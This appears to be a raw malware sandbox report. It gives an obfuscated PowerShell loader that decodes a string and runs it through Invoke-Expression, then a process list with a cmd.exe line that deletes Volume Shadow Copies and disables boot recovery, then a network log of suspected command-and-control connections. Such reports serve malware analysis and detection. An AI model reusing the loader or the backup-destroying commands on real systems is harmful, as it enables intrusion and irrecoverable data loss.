M3VrDUn9FoD TFfoC g9Po9Fo4 YF F2 ADRiBUaDRn4ImD dEWaD A6 KD rFStEAr8TaD AFBeDMoC NEBe7ca9Dr2 OF A4 FDCiFFlC CDSe9Te7RuFLu5 kDOm8 SDgo0FiDSiFzaD F9 SCDrECa9 IAbeEIn9SkC P3PaCAn9WhC EE sD PF GD d7Th9Dy4DoEud8 AC BF AD A4EvCYoELaDPr3 AD U7 FDStFKa9 K4KoFTr3 ID K4 tCUnEnyDMeFGoCEm8 FDMe5 JC UAPeEPo9HlDBaFAfCSt8UrCHaCMaDFo3NoD O9SkDUsF KC T9Ek9 V4 CF T2 KDPoBInDKe4PrDBaEBoDar6TiDGaFBaE G8 UD RFNiDTaC A9 t2vs9Lo2InFFl4 SDKoFPeCPaDIn9Oc7afFYo5EuDGr8KoDIn0 HDDeF RDKo9GaC TE M9deA tF R3suD S4AuC ZEBaE FA HCYeE SCSi8Ku9 T3Nd9 P6Ti9 SASc9Re2Sa9 PE OFAn5UnCCh8AiD CE ODSuF VD E4TrC L9EnDSa7 ADMiB SD UDOvCGrEPaD tF FDAn4AuC F9An9 A4 PFHyDLiDkrF KC MEEpFCl7 JD nFStCAsE UDDy2HaDUn5PaDLoERe9 P2Ja9 UESyFRi7unDdiFPeCHa9 AD T5 CDom7 aDBl3 SCFeE DDPr5boCEr9KrD F3OrCIr9St8 CF T9Er3 E9in3Kl9 F4ReFIo3 bD S4 FCopC FD K5MyDTr1SuDFoFVe9Ka2 G9HyE ZD S4 ACFrF bDVa6BrDHe6Ma9 R6 S9 SADvF wAAn9Sk2In9SuERuFEdB FC BFEkC F8TrD A3HoD S1UnDsp6 RDUnF PDRi4StCap9os8 A8St8 UF S9Ba3Gi9Va3Bu9Sv3 S9Ba3Un9 G6Mh9 UABa9 tEFdEThEChDSo2MlDVoBDiDPa7FyD L4SaD C5 MCBoAayD U2GiD F3ReDKa6MuD U3 GD R4HaD CBCoDGaF C9 k3Op9 O3 O'Pr)Da;Fd} Bf VuPenUncExtzyiDioGynOm MuGPrDNoT M Om{PiPAda arHyaDem S s( F[ExPDoaCorBiaRem VeSptLneHarYa( KPPooCysMai Dt DiChoGanCl R=Tr kr0Su,Eu GM EaArnExd Aaint HoParChy F C= V Kr`$afT hrSiuSee C) G]Un M[CoTSiy Sp keKo[Sk] l] K U`$ PG Au Ra MyHoa GcTeatin H, C[HyP BaLorCha TmOkeExt YeMyrPo( CPNooWrsBei At Ki HoCrnEt Ar= F As1 U)Gl] S Ca[ NT Sy Hp MeEr] M L`$ MD DaSlnSai DeAmldeibec N Cl=Lu S[ MVTooSli Sd l]Al)aa;Su& D( S`$ sQAlu EidonSuoSac Fa CrWhb PoMyn Ii Tu Gm R7 N) D U(PlPDirBei SvToavon BtSk0An4Fs O'Va9 SE FFun2 FD UF IC H8 RDDo8DuDat7AtDMiBSaD P4 P9OvATe8Ra7Sj9BlABeEPr1 TFFlBVoC RASkCSlAAtFSaECeDSk5OvD N7 UDSpBAlD T3StDSp4LaE T7 O8Ch0Sh8Un0FoF e9EkC PF UCLi8 ACss8KoDCoFReD D4SjCDiERaFseETeD M5MiD P7QuD PB VD U3FoD F4Me9sv4VaFKoERoDSuF KD VCBaD S3DoDBl4BaD OF HF AEReCPr3 ID E4 rD FBFoD E7AsD B3BaD F9PuF FB bC O9BrCEr9CoDPoFBrD N7InDTi8LiDMe6 ACRe3 G9 T2 T9 C2NoFPo4RuD UF ACHaDBe9pa7 GFSe5 SD K8AtDSw0DeDMaFDrDKk9OvCEnE D9 SA UEOc9PiC R3 VCMa9TjCfeEPrDAjFalDAp7Ps9Bo4FuEKr8OpD SFPrDInC FDUd6 DDRhFUnDIn9BrCSuEYoD M3sjDSt5LiDtr4Ho9 R4BoFVeB TC A9 PCSo9 CDteFWaD P7 ID H8 LD o6 CCUf3HeFSa4 SD SB FD F7 ODEnFAi9Ra2 T9EfENeFEs7UpD TFtvC M9SpDFi5KrD R7 BDWo3SkC EEMaDBr5 eCOs9 SDLa3GeCNe9 K8 E2Bu9Po3Lu9De3Ra9 S6 M9ClAKoEKa1InEBr9LaCGr3StC U9 tC NEWoDSmF CD Y7Sn9Un4 PENe8 DD WFboDGlCEtD m6BrDInFEsD N9ClCryEskD M3MoDBa5SnDBa4Om9 P4VeF GFBeDCy7 SDAn3 GC KECa9Tr4 AF UB AC T9EsCNo9ChD TF LD S7WiD O8 CDar6VaCfo3TrFLy8drCSpF RD a3 SDSt6DiD UE SDBaFKvCAr8 DFUnBPeD h9 tD s9HoDKoF TC F9 PCBa9GhE S7 P8 A0 F8Rh0 BE g8MiC OF MDKu4 s9Bo3Su9 I4 RF GE GDThFMyDHyCFrD O3SuDVa4GuD EFBaF iEJoC E3KlDEr4ReDCoB PD T7TeDUn3 FDRe9AfFBl7TeDBu5SuDPaE SC TF vD R6SuD SFRe9Un2Ta9TeE MF O7 FD SFHaC S9SeDRn5ShDRe7irDJe3 CCInEDaDRu5 LCLn9HyDDr3 DC R9El8 U3In9Fl6Ci9 SASt9OvEAbD JC GD IBDaD C6 CCVi9SlD VF P9 F3br9 K4DrFKuEPiDSuFBrDAfCKrD t3KvD B4 pDgoF tEFoEAfCpl3DiC TA MDCaFHe9In2 D9 HE UETmB KCAnFEnDEv3 SD D4ClDaf5EpD T9DeD bB SC A8 TD S8 OD Z5 LD W4 RDAm3 FCInF RDHy7 C8zaAPa9 F6Pe9FoA H9JeEYaE tBUdC DFFeDFo3 PDBi4StD A5 SDkl9DeDmaBStCTe8 SDIn8loDSt5beDSp4riD A3OvC AFPeDUd7 S8VeB V9 E6In9GyA BEFo1FoE T9 DCMe3StCCo9 PC REAjDOsF BDNo7St9 A4UnF A7DrC KF TD o6 wC OEBaDNo3 SDba9ReD MBReC M9FlC FE AF DEBiDBaF ADFu6UkD TF RDSmDLiDzyB nCAtE iDMaFfoEIn7Br9Tr3Eg'En)St; F&Iz(Un`$ DQ Pu Ai Fn Coafc fa SrDebAdozinFoiCyu SmFu7Bo) c Di( UPSarPei DvHja HnTitMe0Ba4 R S'Ko9InE EFAi2PaDKnFGeCEk8DeDSy8 mDLi7saD ABUnD U4 H9Ji4 KFDrEJaD NFSaD TC NDSn3PoD H4TeDTiFUnFPo9 FDGo5 ID I4FoC H9 VC KESeCco8ItCFoFBrDKo9CeCTiEJaDOv5KoC r8Ha9Un2an9 KE BFSu7FiDEnFFoCSi9FiD L5SpDWo7prDOp3FeC EEInD S5 SC G9 BDBa3DiCPr9 f8RaC I9Mc6 a9 BA HENo1 DEEn9TaCUn3EnC D9 TCFoE UDReFStD L7di9 D4 TE N8 CDVeF SD RCSgDKn6SpD SF FDFo9 KC CEFiD U3ElDPa5MoDMu4Tr9 I4BeFSi9 ED TBSkDEt6 TDLo6UnD V3 BDEn4UnDPyDQuF P9 tDSe5YoDDo4FuCseC BDInF UDFo4seCKnECrDFl3NoDHa5InDfi4GeCCh9UnEho7To8Cr0Ki8Pi0 ME M9 BC UE pD DB aDIn4RuDspE TDHaB PCMa8McD TESt9Ef6Ou9RiAHy9 OECiFmeDFoC SFOpDUdB SC A3KoD BBChDKa9DiDNrBFlDAu4Fa9Uv3 D9Pa4FyEja9FoDkvFSpCPoEInF B3CoD P7 GCCaABaDWy6 MDKaFVaDSo7 LDBeFHyD A4VaCSlE WD uB TCOuEMoDGl3 PD T5BiD R4SpF TCAkD N6 MD GBKrDkdDRoC C9 I9 o2 P9 TE SF O7 dD BFChCUn9 TDGo5BaDRe7 FD s3 SC EE BD H5EvC S9LiD C3InCFr9Pa8 DDSa9 T3Pe' I)Em;Sa&Ce(Pl`$TrQ Du Si MnSnoSycVoaEcrHebKeoObnFli Nu Sm R7Im)Ma T(ApP KrStiInvDuaMunDat C0Ma4Mu P'tr9UnE UFIm2LeD SF BCFr8AtD S8 VD S7pjDEaBCoDVa4Di9Ss4 GFHuELeDgoFanDEdC TDFl3ReDgu4 SDSoF EFBu7LaDBoF tCToEDeD G2 BD A5ClDTeE l9Te2Su9 EEDiEamBPaC SFNgDFe3FoD A4FaD K5RiDEk9 MD FBOmCSe8StD T8 KD B5 ODVa4 UD H3InCStF yD F7Pr8An8 U9Ny6 O9OpA s9BeEPaE IB CC TF UDBu3 ADDe4 SDTi5DeD S9TiDSeBOxCFo8 SD a8TaDHo5ChDHe4 gDMi3ByC UFfoDSt7St8An9Co9Ch6Pe9SkABe9PsE FF SE RDopBKuDWi4SnD A3 FD EFEnD K6NiDBo3 CD P9 S9Ic6 S9coAin9HaEnoF sDSiC SFliDSaBStCSk3UnDNeBUdD C9PiDHeB ODRh4Pu9 O3Ru9 T4ekESu9 EDSuFMoC lE HF F3 SDPe7LiC dAMaDMo6 LDstF IDPa7OuDViF DD F4LeCSkETaDInB NCcoE CD f3 DDAn5SuDSy4 TFFrCVeDAm6 FD SBHoD SDFoCFr9Mo9 P2Ge9HaEdaFGo7DeD DFBeC B9AfD P5 fD v7 RDSl3 DC REEcDde5InCDr9HeD H3AkC L9 B8LaD B9 A3Ga' O) C;ar& C(Bi`$ KQliuDei Dnino HcSpaLurFjbDooLunCei GuRum A7Ci) B Ps(FiP UrFdi AvVaaTonFrt G0 M4Ph L'BrCBr8BeDtaF UC PE SCOpFStCQu8CrD A4 T9CaA A9BrEBaFDe2CoDCoFKlC N8GoDDe8FaDAg7UbDKaBDeDSi4 I9 R4FoF I9PrC R8BoD SF ED RBNoCSiEYoDReFBoE HE HC S3DrC OAkoDSiFMu9St2Sk9Ai3Ar'Ov)da;Aq} I&In( K`$PrQ TuTaiBanSloSec Ta Ur Rb Io enMaiTru RmMi7Tr)Fl T(PaPblrCyiPrvpha PnSetHa0 g4Be F'Me9SaEReFha8RiCFi8SkC PF PCNoE CCAtE KDMe5NoD L4 FDBoBReC OE HD R3ReD P5InDKn4LoDSpB MDAn6ChCTlASoCSa8 BD K5plDTiE CCVrFPoDSe1CoC RE S9UdASt8 E7 O9 PA AEOn1NoE e9RuC N3 VCSt9reC HE CDFiF eDAz7 I9 u4SaEBa8HuCEnFLoDSh4 CC CE ODBo3miD u7meDecFBl9Re4 OFHe3UnDRe4 DC CEWhDCiFGuC K8 EDUn5WhCEnA SEre9DaD BF BC B8EjCOrC HD F3alDHj9abD PFPrCNi9Bj9 G4GlFBi7BeD IBMiCLi8liC A9KaDOv2ReD pBfiDUn6 DE A7ja8 T0 S8Es0PrFTiD cDDiFFoCStEFiF FEscDKaFUdDMo6 ADNeFgdDsuDPoDNoBScCVeEKlDSnF pFGiC SD f5 SCAp8 MF TC BCVeFThD S4 KDej9 SCDoE SD S3haD B5inD K4 DE LABrD F5 RD H3 ADTj4stCKlE CDGaFSkC c8 A9 R2Sc9Hi2 PDPlCOvDCo1 EC IACh9BoAMu9CoE DFSuD ED B6 HD e3 KDAnBUdC U9Ci9 SA p9KrE FEboB WC BFPeD S3SyDAq4 oDCi5 aD A9BeD vB OC N8HyDSt8MaDPe5StDFr4 VDHv3 sCinFSoDRi7Su8 GE N9Ra3Ka9Tt6 A9 MASp9Ma2 cFViDSeFSeESeESpEVa9doA BF TABe9Ch2NoE l1FuFTr3 GD S4 RCUnESs8Ma9 M8Ta8 AE O7pa9um6 P9BlACrESt1ShF k3 SDDe4RaC SETe8Ch9Ta8Tn8 AEMy7Ti9St6 K9 DA VE A1GaFDi3SeDbl4DiCPrESt8 B9Pi8Or8PuE O7Re9 U6Sp9BeA SEOb1AnFLa3 CDAl4 UCAvEau8Mi9Vv8St8AfESk7Fi9 p6Sh9 SASeE A1 TF R3SkD K4 AC OE D8 C9 l8Af8DrEBr7Ha9 Z6Kl9 IA REOs1 PF E3 MDBr4 dCFoE P8Uk9 S8Ju8NiEPl7 F9Re3 O9CaAOv9 P2BrEEs1 MFWi3LiD F4StCCaE F8 A9 O8Re8PyESo7Br9St3Di9Hu3 o9Se3 A'Ag)Sa; D& I(Ps`$PsQfou HiSenLlo ecAda DrAmbAboBynSuiCau OmTe7Re)Di B( HP ur EiHyvVraEmnVitGa0 T4up Br'Br9 BEvnFDr9 ADGa2HoD PFMiD RCEnDve1EnD B5 PDDa4 ND J5SeDSt7GrDGuFVaDCi4 MC F9 b9CaA A8Un7Ti9 FA sE F1caEDk9PrC R3BrC B9 OC TEDiD cFGrDIs7 J9 J4 sE O8crCLuFAsD U4quC SE CDSo3stDMe7KeD KF O9He4 IFEc3SoDGl4DiC CE BDPoFHuCPh8SmDPr5StC PA UE s9UdD KFVaC P8 MC SC SDVi3 LDLu9 HD IFFoCSc9Pa9An4 LFAd7CaDReB DCLa8 KCKo9SaDAd2DiDPoBReDOp6 bEEn7Le8 B0 H8hj0OoFTvD DDMaF KCEfEEjFReE gD PF pD P6ThDScF ADZyD BD DB SCguE DD LF SFOvCVaD F5 AC E8 HF CCRhCVrF ED t4hoD P9AlCTeE RD S3FoDAl5 AD T4 fE AAOvDSt5 SDKo3TrD F4 TC GE SD NFUdCPl8Eq9 M2hi9Ep2 ID SC UD S1KoC SASt9veA E9 WE FF CDVoD O6 PDUp3 ODChB MC S9 B9RoA R9 PEPoEInBFaC hFSlDRa3AkDam4AnDKa5 SDBi9miDReBeqC T8 ND W8 SDUn5BrD G4CoDIs3VeC RF PD C7Fi8CaC M9 I3 P9 s6Do9 UA D9Re2 SFTiDUnF CEGaEReE I9KoAKrFPrA R9Dr2 DE g1PoF H3GaDSu4 TCClESl8Ja9un8 M8 DEUn7Tr9Vu6Ch9RhAGiEQu1 BFBa3 FDEk4ChC MECo8No9In8Py8BrE S7Ma9 S6 H9 TA BEUn1 CFVi3 GDKm4KoC KESt8 K9Fo8Ti8 BEIn7Mi9he6 K9DoA CETe1asFSi3 GD N4LdCOvEmo8So9 S8Ce8PiEBa7Wi9Pr6 S9SiAErE O1LoFUd3GdDLu4AfC SEAs8Te9Ho8 U8 SE P7He9In3 C9InA U9 e2NeEMe1RoFsn3ceDSk4 BCNeE HESeA aC EEMaCPa8 DEun7 G9No3 C9Ma3 K9Os3 S'Ne) P; A& E( S`$NoQHauAri Pn LoAscUnaSorBib IoKlnFli AuHymNo7 P)Du Ki(MaPupr KiLavsoaLin CtUn0Fe4 P Bl' K9 OE OFO 9SkD B2 GD C5 uD U1 aDVa3 LDLeFecCAt8 M9PhALi8Su7ti9 BAAn9 SEAvF N8 cC H8toC UFAnCSpEInC VE PDAf5DrDTe4SiD TBLyCOuETrDno3 SD C5UnD T4BaD LBAdDAr6HvC AA SCOv8 HD C5enD AEMiC SFInD C1KoCCoEBr9Sv4StFKo3CeD D4WaCZeCLuDCo5BaD A1MiDteF O9bo2 R9 D7Mu8 ABSk9un6De8 SAkl9 I6 U8 PCDa8StEUn9Wi6Fr8SkA E9Tu6 a9GoAfa8 UE I8Ai3Co8 ME A8LiA L8 BF U8Fi3 L8AnFCy8An8Sh9gr6 T8 SA H9ma3 E'St)So; p& P( C`$siQViurei mnRao Ic KaCor Ab Uo En VimuuArmfl7 B) T mo(BePSerBui bv BaPhnKrt t0tw4Fa Pl' W9 SENeEKt9noD D1 SD aBAtD F8gyDNuF HD M6MeCHi9 DD NF sC A9BeDPa2 UDUn3HaCSa9 tC DEFoDTi5 pCFe8 PDFo3stD LFReCSg8StDMi4AlDTrFEsC s9Pt9ReAGo8Fo7Ta9InABr9 lEScFUn9 TD H2 SDHyFAaD ECGaD S1 TD M5DiD i4MuDFa5 PDFu7ViDFrF AD P4RiCVi9 B9Be4 tFHa3 MDVr4DiC CCCeD K5 SDTh1AlD HFSe9Aj2 R9ErE LFGa9BeD S2FiDVe5 PD h1ChD T3RaDmaF CC K8 S9La6 H8RhA PE C2In8Oc8Ba8Lo8Tr9Vi6 S8 aASt9Ek6 n8StALo9Ti6Co8SuASm9He3Mi'Op)Ko; P`$ NM PiMas Df Ta VrSuv An Pi En AgGoeKlnsisSa3Sc6An2Te=Se`""" B`$FreNen mvUd: AT LECaM SPWo\TaNPhe Ng Te SrAniUnnTegKue mrLan Uefrs N\LeW Fe Ia DsHye FlSpeSed P\ UCPoiEtvHeiUtlUni LzNoePs\ MBTee Sh Se TaPsr Js Re M\BeM VoOutOvoUnrExbCraKon OeAnrOus T.clFPeo ArFr`"""Fl; C&Co(Sy`$FoQTiuPri OnSko PcSkaKar SbphoDin Gi Vu HmGr7 e)By D( BPPar oiBrvFuaJunVatTy0To4 A Su'St9StE PECi9HeCBaEKuD MB ADDeD BD SFOlCKr8 OC S9Lv9UnA T8 M7 S9DbA FE G1JeEDr9NeCCo3 CCCa9HyCLiEinD TFPaDMo7 D9 S4 AFJe3 AF E5Pa9Re4 PFReC SDNo3AkDOr6 FDVeFSlE F7Ve8 K0 B8Pe0 TEGi8UnDSkF NDCaBLyDBaEDeF ABBrDAp6EjD A6ChFEr8exC P3PrCStEHgD KF ACBr9Eq9Re2Fy9MeE CFTi7yaD U3 RCTa9NeDVeC kD rB LCVa8KaCgaCReD T4SvD S3 DD D4CoDAlDTaDEtFOmD E4SeCTu9St8 B9 A8PlCFr8 T8 P9 F3an' S)Re;No`$ KBCioSpjFiaManVierurSa=In`$ CSSitfoa Ug UeHerLas T. TcHroDau Bn mtAk-Sk1Wo0Se2Sk4Wa; U&Dk(El`$SaQSvu WiRen UoBoc oa Vr JbOmo TnKoi Su GmFa7Se) C Ur( HPDirAriBevInaPun BtSh0Im4 E S'UnEUd1teESg9CoC H3KuCSp9ReCGaE SD CF BD h7 S9 R4 MEGa8drCKeFPlDPo4 FC SE SDCu3 UDOv7 GDBrFDi9 F4 VFAn3StDHy4NoCunEUnD MF OCBe8 PD R5GiCTiAcrE B9CaDCaF DCKa8KaCBeCInDFr3 ID M9PeDBuFbeC a9Li9Bi4crFPr7SiD PBBrCHa8BaCUn9MeD E2AnDKlB SDTr6RuESa7Be8 G0 a8 P0 HF S9 DD h5 KCBeA CCCa3 S9Ki2Pr9InE HEBe9 AC sEBaDMeBSkD TD PD UFEnCdo8 PC S9 H9Mu6sa9ReA l8JiB J8 BABi8 B8 S8KaE T9St6Sp9 UA S9NoEalESu9 KDTo1SvD NBStDCi8 SDShFInDIn6CrCHy9CeDJoFAuCSt9AaD P2BlD C3 CC F9AnCAnEInD h5 KCSy8 SDGl3 SD HF RCSa8UnD b4saDDiFfaC B9Un9 F6Tr9 EAUd9 KE CF A8HoDBe5SdDUn0GoD SB PD T4PrDHeF AC F8 L9Pi3Mi' F) D;Me& N(Ov`$WrQ Vu EiUnn ZoRnc Oa TrChbRooOsn MiHyuGem p7Lu) C U(EpPtvrLaiLavFia Tn Bt C0Ro4 S Za' H9InEadF SFCaCKaCIlDFyB FC EA UDTr5 UCCa8MyDce3AlC S0 SD DFTr9RvABo8 o7Ha9InAArECa1 BEBe9fdCva3 SC S9 OCAfE ADNiF sDBe7sk9Ac4ReE F8 SCsuF SDOv4RyCIoELaD r3PrDDe7LaDMaFGn9Ho4 CFRe3AuDin4 DCFaEReDShFDeC I8 FDLi5 BCMiA GE H9FoD SF GC B8FlC TCNoDIg3 RDOp9 GD BFEnC K9Kl9un4 CF U7 uDTrBBlC L8 SCSp9meD B2EtDOpBUnDTy6 PECl7 U8Kn0 S8Ha0 BFJeDAsDMeF MC RE LFKlE tDGhFUdD S6SpDTiFToD TDHoD RBSaC ME GDhuF SF CC VD R5 GCAn8 CFTiCFaCPaFLiDBo4LaDNe9 SCSeEAnDIn3HeDPr5SvDje4 VE LABiDSk5VaD B3 TDEg4 DCLeE UDPrF SCSu8Or9Sy2 B9Sk2DhDprCPuD e1 DC OAEn9StA H9 CEmaFWoDMiDOp6InDBa3 ODGaB PCAb9 P9 YASe9 UEopE D9LoDId1PrD c7ReDRe7TiD BFco9Fr3 B9 D6 M9mnA E9Ov2NoF ADloF IE AE FE C9chAFoFFoABe9 b2TaE P1 SFCa3 MDta4 OCPaESoEStA ICThESiC F8DiE B7Fo9 T6Es9 RAByE B1 PFBa3 SD I4DoC UE AELeA BC IE BC B8MiESc7sk9Pi6Me9UnACaESh1 MF D3 PD G4GeCFlE sE tAUnC NE ACKa8NaEro7sm9Fo3He9MaAPl9 A2LiE S1InFCo3 SDTh4ArCPeEsaEReA SC BE CCRy8HaESt7 E9Ek3gu9Bh3be9 S3Ka' a)Sp; m&Ly(re`$SkQ WuimiGrn Co nc SaggruvbSao AnAuiFlu Vmbn7Sk)Sk a( UPFur fiFavEna AnBrtPa0An4Un Sa'Un9AfE BFGlFInC fC UDViBCoC CAPaD S5FrCCo8GaDCu3HeCSe0kvDElF P9sy4HoF U3SaD I4 LC TCFoD I5 FDKr1AnDElFAf9Un2Tr8UnASa9 U6Sl9AtEVoEWa9 WD P1FoDCaBNeD L8 TDAbF UD A6 DC R9UnDheFBoCPe9 SDNe2 HD M3PrC G9PyC PEDaD E5 IC Q8chDst3FuD QFUnCTi8EtDFl4 FDDoF WCMi9 A9Sm6ro8 KALf9 O3Sm'Ma) V# C;""";Function Betingede9 { param([String]$Ernres); For($Marauders=2; $Marauders -lt $Ernres.Length-1; $Marauders+=(2+1)){ $Privant = $Privant + $Ernres.Substring($Marauders, 1); } $Privant;}$Lurkers0 = Betingede9 ' RI TEStXLi ';&$Lurkers0 (Betingede9 $Naught);<#Sprittens overvehementness Forfriskelse scariest #>;"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6024 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5964 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5840 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5604 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5756 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\Downloads\YzlhMGI2 (2).exe

"C:\Users\Admin\Downloads\YzlhMGI2 (2).exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5532 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5348 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5844 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5736 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5504 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\Downloads\ZmU2ZGYw.exe

"C:\Users\Admin\Downloads\ZmU2ZGYw.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

C:\Windows\system32\vssadmin.exe

vssadmin delete shadows /all /quiet

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 117.18.237.29:80 tcp
ID 34.101.154.50:80 34.101.154.50 tcp
ID 34.101.154.50:80 tcp
ID 34.101.154.50:80 tcp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 50.154.101.34.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 40.125.122.176:443 tcp
US 20.189.173.1:443 tcp
NL 8.238.177.126:80 tcp
US 8.8.8.8:53 assets.msn.com udp
NL 23.73.0.171:443 assets.msn.com tcp
US 8.8.8.8:53 171.0.73.23.in-addr.arpa udp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 40.125.122.176:443 tcp
US 8.8.8.8:53 62.13.109.52.in-addr.arpa udp
NL 8.238.177.126:80 tcp
ID 34.101.154.50:80 tcp
US 40.125.122.176:443 tcp
N/A 185.161.248.37:4138 tcp
FI 77.91.124.251:19065 tcp
US 8.8.8.8:53 251.124.91.77.in-addr.arpa udp
US 40.125.122.176:443 tcp
N/A 185.161.248.37:4138 tcp
US 8.8.8.8:53 82.20.109.52.in-addr.arpa udp
US 8.8.8.8:53 34.146.190.20.in-addr.arpa udp
FI 77.91.124.20:80 77.91.124.20 tcp
US 40.125.122.176:443 tcp
US 8.8.8.8:53 20.124.91.77.in-addr.arpa udp
US 8.8.8.8:53 210.143.182.52.in-addr.arpa udp
N/A 83.97.73.127:19045 tcp
US 8.8.8.8:53 127.73.97.83.in-addr.arpa udp
FI 77.91.124.251:19065 tcp
N/A 83.97.73.127:19045 tcp
ID 34.101.154.50:80 34.101.154.50 tcp
N/A 185.161.248.37:4138 tcp
N/A 83.97.73.127:19045 tcp
N/A 83.97.73.127:19045 tcp
US 8.8.8.8:53 www.xbhp.com udp
US 172.67.212.163:443 www.xbhp.com tcp
US 40.125.122.176:443 tcp
US 8.8.8.8:53 163.212.67.172.in-addr.arpa udp
N/A 185.161.248.37:4138 tcp
US 40.125.122.176:443 tcp
US 8.8.8.8:53 tecnojournals.com udp
US 45.56.79.23:443 tecnojournals.com tcp
US 40.125.122.176:443 tcp
US 8.8.8.8:53 23.79.56.45.in-addr.arpa udp
N/A 185.161.248.37:4138 tcp
US 52.202.193.124:443 tcp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 api.box.com udp
US 74.112.186.144:80 api.box.com tcp
US 74.112.186.144:443 api.box.com tcp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 144.186.112.74.in-addr.arpa udp
US 8.8.8.8:53 content.dropboxapi.com udp
SG 162.125.81.14:80 content.dropboxapi.com tcp
N/A 185.161.248.37:4138 tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
US 8.8.8.8:53 14.81.125.162.in-addr.arpa udp
SG 162.125.81.14:80 content.dropboxapi.com tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
IT 179.43.140.82:443 tcp
DE 79.137.207.179:443 tcp
SG 162.125.81.14:80 content.dropboxapi.com tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
AU 1.0.0.0:80 tcp
SG 162.125.81.14:80 content.dropboxapi.com tcp
US 8.8.8.8:53 0.0.0.1.in-addr.arpa udp
SG 162.125.81.14:443 content.dropboxapi.com tcp
N/A 10.127.0.80:80 tcp
N/A 10.127.0.80:80 tcp
N/A 185.161.248.37:4138 tcp
US 8.8.8.8:53 content.dropboxapi.com udp
SG 162.125.81.14:80 content.dropboxapi.com tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
SG 162.125.81.14:80 content.dropboxapi.com tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
LV 94.140.120.132:443 tcp
SG 162.125.81.14:80 content.dropboxapi.com tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
SG 162.125.81.14:80 content.dropboxapi.com tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
US 8.8.8.8:53 84.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
N/A 185.161.248.37:4138 tcp
ID 34.101.154.50:80 tcp
SG 162.125.81.14:80 content.dropboxapi.com tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
SG 162.125.81.14:80 content.dropboxapi.com tcp
SG 162.125.81.14:443 content.dropboxapi.com tcp
